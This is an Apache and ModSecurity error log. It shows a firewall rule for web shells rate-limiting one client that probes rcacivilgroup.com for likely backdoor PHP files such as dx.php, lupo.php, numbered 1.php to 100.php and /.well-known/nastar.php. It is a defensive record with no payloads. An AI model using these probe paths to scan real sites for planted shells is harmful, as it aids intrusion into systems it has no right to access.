[Wed Apr 22 23:48:49.453749 2026] [:error] [pid 6384:tid 6407] [client 172.213.243.103:58216] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kikikoko.php"] [unique_id "aejt4T58M3t15ICeWHWcGwAAANQ"]
[Wed Apr 22 23:48:49.938101 2026] [:error] [pid 6384:tid 6406] [client 172.213.243.103:40093] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "aejt4T58M3t15ICeWHWcHQAAANM"]
[Wed Apr 22 23:48:50.432624 2026] [:error] [pid 6384:tid 6397] [client 172.213.243.103:37163] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "aejt4j58M3t15ICeWHWcHwAAAMo"]
[Wed Apr 22 23:48:50.911561 2026] [:error] [pid 23776:tid 23778] [client 172.213.243.103:41937] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "aejt4rRExf-1pAbSeJsy9AAAAYA"]
[Wed Apr 22 23:48:51.400016 2026] [:error] [pid 23776:tid 23792] [client 172.213.243.103:35511] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "aejt47RExf-1pAbSeJsy9wAAAY4"]
[Wed Apr 22 23:48:51.887793 2026] [:error] [pid 9085:tid 9091] [client 172.213.243.103:38332] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "aejt49-_-or9vQnlWnrolwAAAUQ"]
[Wed Apr 22 23:48:52.365973 2026] [:error] [pid 6384:tid 6387] [client 172.213.243.103:38293] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "aejt5D58M3t15ICeWHWcIwAAAMA"]
[Wed Apr 22 23:48:52.865286 2026] [:error] [pid 9085:tid 9092] [client 172.213.243.103:38315] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "aejt5N-_-or9vQnlWnromgAAAUU"]
[Wed Apr 22 23:48:53.356327 2026] [:error] [pid 9085:tid 9103] [client 172.213.243.103:55902] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "aejt5d-_-or9vQnlWnronwAAAVA"]
[Wed Apr 22 23:48:53.842007 2026] [:error] [pid 9085:tid 9108] [client 172.213.243.103:40089] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lupo.php"] [unique_id "aejt5d-_-or9vQnlWnrooAAAAVU"]
[Wed Apr 22 23:48:54.325292 2026] [:error] [pid 9085:tid 9110] [client 172.213.243.103:37164] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lupo.php"] [unique_id "aejt5t-_-or9vQnlWnropAAAAVc"]
[Wed Apr 22 23:48:54.816443 2026] [:error] [pid 9085:tid 9093] [client 172.213.243.103:35836] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lupo.php"] [unique_id "aejt5t-_-or9vQnlWnroqAAAAUY"]
[Wed Apr 22 23:48:55.308300 2026] [:error] [pid 6251:tid 6285] [client 172.213.243.103:50543] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lupo.php"] [unique_id "aejt5ysFAzbyObL-SQ6Z8QAAAIA"]
[Wed Apr 22 23:48:55.795554 2026] [:error] [pid 6250:tid 6276] [client 172.213.243.103:50564] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awa.php"] [unique_id "aejt5w-iZeQkqmQVfj4z9QAAAFY"]
[Wed Apr 22 23:48:56.279806 2026] [:error] [pid 6250:tid 6255] [client 172.213.243.103:34787] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awa.php"] [unique_id "aejt6A-iZeQkqmQVfj4z-gAAAEE"]
[Wed Apr 22 23:48:56.775443 2026] [:error] [pid 23776:tid 23799] [client 172.213.243.103:55928] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awa.php"] [unique_id "aejt6LRExf-1pAbSeJsy-wAAAZU"]
[Wed Apr 22 23:49:03.711197 2026] [autoindex:error] [pid 6384:tid 6390] [client 172.213.243.103:37171] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 23:49:11.707729 2026] [:error] [pid 6384:tid 6408] [client 172.213.243.103:37171] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "aejt9z58M3t15ICeWHWcPAAAANU"]
[Wed Apr 22 23:49:12.185731 2026] [:error] [pid 6384:tid 6402] [client 172.213.243.103:50577] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "aejt-D58M3t15ICeWHWcPQAAAM8"]
[Wed Apr 22 23:49:12.698606 2026] [:error] [pid 6251:tid 6287] [client 172.213.243.103:37128] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "aejt-CsFAzbyObL-SQ6Z8gAAAII"]
[Wed Apr 22 23:49:13.213667 2026] [:error] [pid 9085:tid 9100] [client 172.213.243.103:40115] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "aejt-d-_-or9vQnlWnro2AAAAU0"]
[Wed Apr 22 23:49:13.696502 2026] [:error] [pid 9085:tid 9105] [client 172.213.243.103:37107] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "aejt-d-_-or9vQnlWnro2wAAAVI"]
[Wed Apr 22 23:49:14.179861 2026] [:error] [pid 9085:tid 9090] [client 172.213.243.103:37172] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "aejt-t-_-or9vQnlWnro3gAAAUM"]
[Wed Apr 22 23:49:14.657060 2026] [:error] [pid 6252:tid 6331] [client 172.213.243.103:37087] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "aejt-utGYuiYb1nWBpRtfwAAARM"]
[Wed Apr 22 23:49:15.137048 2026] [:error] [pid 23776:tid 23799] [client 172.213.243.103:55879] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "aejt-7RExf-1pAbSeJszDQAAAZU"]
[Wed Apr 22 23:49:15.625704 2026] [:error] [pid 23776:tid 23798] [client 172.213.243.103:35783] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/3.php"] [unique_id "aejt-7RExf-1pAbSeJszDwAAAZQ"]
[Wed Apr 22 23:49:16.115337 2026] [:error] [pid 6250:tid 6275] [client 172.213.243.103:40079] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/3.php"] [unique_id "aejt_A-iZeQkqmQVfj40AgAAAFU"]
[Wed Apr 22 23:49:16.608751 2026] [:error] [pid 23776:tid 23801] [client 172.213.243.103:50535] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/3.php"] [unique_id "aejt_LRExf-1pAbSeJszEQAAAZc"]
[Wed Apr 22 23:49:17.087489 2026] [:error] [pid 6344:tid 6362] [client 172.213.243.103:37174] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/3.php"] [unique_id "aejt_UDOTF-pkQnDeUkf3QAAAA0"]
[Wed Apr 22 23:49:17.572900 2026] [:error] [pid 23776:tid 23788] [client 172.213.243.103:41974] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/4.php"] [unique_id "aejt_bRExf-1pAbSeJszEwAAAYo"]
[Wed Apr 22 23:49:18.053568 2026] [:error] [pid 23776:tid 23785] [client 172.213.243.103:34785] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/4.php"] [unique_id "aejt_rRExf-1pAbSeJszFAAAAYc"]
[Wed Apr 22 23:49:18.531573 2026] [:error] [pid 23776:tid 23796] [client 172.213.243.103:35496] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/4.php"] [unique_id "aejt_rRExf-1pAbSeJszGAAAAZI"]
[Wed Apr 22 23:49:19.014838 2026] [:error] [pid 9085:tid 9100] [client 172.213.243.103:37108] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/4.php"] [unique_id "aejt_9-_-or9vQnlWnro5gAAAU0"]
[Wed Apr 22 23:49:19.527372 2026] [:error] [pid 6251:tid 6306] [client 172.213.243.103:55897] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/5.php"] [unique_id "aejt_ysFAzbyObL-SQ6Z-AAAAJU"]
[Wed Apr 22 23:49:20.040316 2026] [:error] [pid 6251:tid 6301] [client 172.213.243.103:41933] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/5.php"] [unique_id "aejuACsFAzbyObL-SQ6Z-QAAAJA"]
[Wed Apr 22 23:49:20.524253 2026] [:error] [pid 23776:tid 23783] [client 172.213.243.103:40127] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/5.php"] [unique_id "aejuALRExf-1pAbSeJszHgAAAYU"]
[Wed Apr 22 23:49:21.035884 2026] [:error] [pid 23776:tid 23801] [client 172.213.243.103:35508] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/5.php"] [unique_id "aejuAbRExf-1pAbSeJszHwAAAZc"]
[Wed Apr 22 23:49:21.513127 2026] [:error] [pid 9085:tid 9099] [client 172.213.243.103:58201] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6.php"] [unique_id "aejuAd-_-or9vQnlWnro6QAAAUw"]
[Wed Apr 22 23:49:21.989249 2026] [:error] [pid 6384:tid 6406] [client 172.213.243.103:55920] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6.php"] [unique_id "aejuAT58M3t15ICeWHWcRwAAANM"]
[Wed Apr 22 23:49:22.467552 2026] [:error] [pid 6344:tid 6353] [client 172.213.243.103:38305] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6.php"] [unique_id "aejuAkDOTF-pkQnDeUkf4gAAAAQ"]
[Wed Apr 22 23:49:22.944970 2026] [:error] [pid 6344:tid 6350] [client 172.213.243.103:64962] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6.php"] [unique_id "aejuAkDOTF-pkQnDeUkf4wAAAAE"]
[Wed Apr 22 23:49:23.422196 2026] [:error] [pid 6251:tid 6303] [client 172.213.243.103:48309] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/9.php"] [unique_id "aejuAysFAzbyObL-SQ6Z_AAAAJI"]
[Wed Apr 22 23:49:23.938535 2026] [:error] [pid 6251:tid 6290] [client 172.213.243.103:40122] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/9.php"] [unique_id "aejuAysFAzbyObL-SQ6Z_QAAAIU"]
[Wed Apr 22 23:49:24.453731 2026] [:error] [pid 23776:tid 23792] [client 172.213.243.103:50505] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/9.php"] [unique_id "aejuBLRExf-1pAbSeJszIgAAAY4"]
[Wed Apr 22 23:49:24.933400 2026] [:error] [pid 23776:tid 23786] [client 172.213.243.103:40069] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/9.php"] [unique_id "aejuBLRExf-1pAbSeJszJQAAAYg"]
[Wed Apr 22 23:49:25.411632 2026] [:error] [pid 6251:tid 6285] [client 172.213.243.103:38294] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/10.php"] [unique_id "aejuBSsFAzbyObL-SQ6aAAAAAIA"]
[Wed Apr 22 23:49:25.889274 2026] [:error] [pid 23776:tid 23788] [client 172.213.243.103:58217] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/10.php"] [unique_id "aejuBbRExf-1pAbSeJszKAAAAYo"]
[Wed Apr 22 23:49:26.379923 2026] [:error] [pid 23776:tid 23791] [client 172.213.243.103:40125] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/10.php"] [unique_id "aejuBrRExf-1pAbSeJszKgAAAY0"]
[Wed Apr 22 23:49:26.860362 2026] [:error] [pid 6252:tid 6318] [client 172.213.243.103:50574] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/10.php"] [unique_id "aejuButGYuiYb1nWBpRtiQAAAQY"]
[Wed Apr 22 23:49:27.352088 2026] [:error] [pid 6344:tid 6349] [client 172.213.243.103:41927] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/100.php"] [unique_id "aejuB0DOTF-pkQnDeUkf6AAAAAA"]
[Wed Apr 22 23:49:27.831318 2026] [:error] [pid 6250:tid 6261] [client 172.213.243.103:40099] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/100.php"] [unique_id "aejuBw-iZeQkqmQVfj40CwAAAEc"]
[Wed Apr 22 23:49:28.314212 2026] [:error] [pid 6344:tid 6363] [client 172.213.243.103:37124] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/100.php"] [unique_id "aejuCEDOTF-pkQnDeUkf6wAAAA4"]
[Wed Apr 22 23:49:28.795282 2026] [:error] [pid 6252:tid 6331] [client 172.213.243.103:39467] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/100.php"] [unique_id "aejuCOtGYuiYb1nWBpRtigAAARM"]
[Wed Apr 22 23:49:29.287266 2026] [:error] [pid 6344:tid 6368] [client 172.213.243.103:37153] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/nastar.php"] [unique_id "aejuCUDOTF-pkQnDeUkf7QAAABM"]
[Wed Apr 22 23:49:29.769162 2026] [:error] [pid 6384:tid 6409] [client 172.213.243.103:41970] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/nastar.php"] [unique_id "aejuCT58M3t15ICeWHWcSgAAANY"]
[Wed Apr 22 23:49:30.248153 2026] [:error] [pid 6384:tid 6393] [client 172.213.243.103:58214] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/nastar.php"] [unique_id "aejuCj58M3t15ICeWHWcSwAAAMY"]
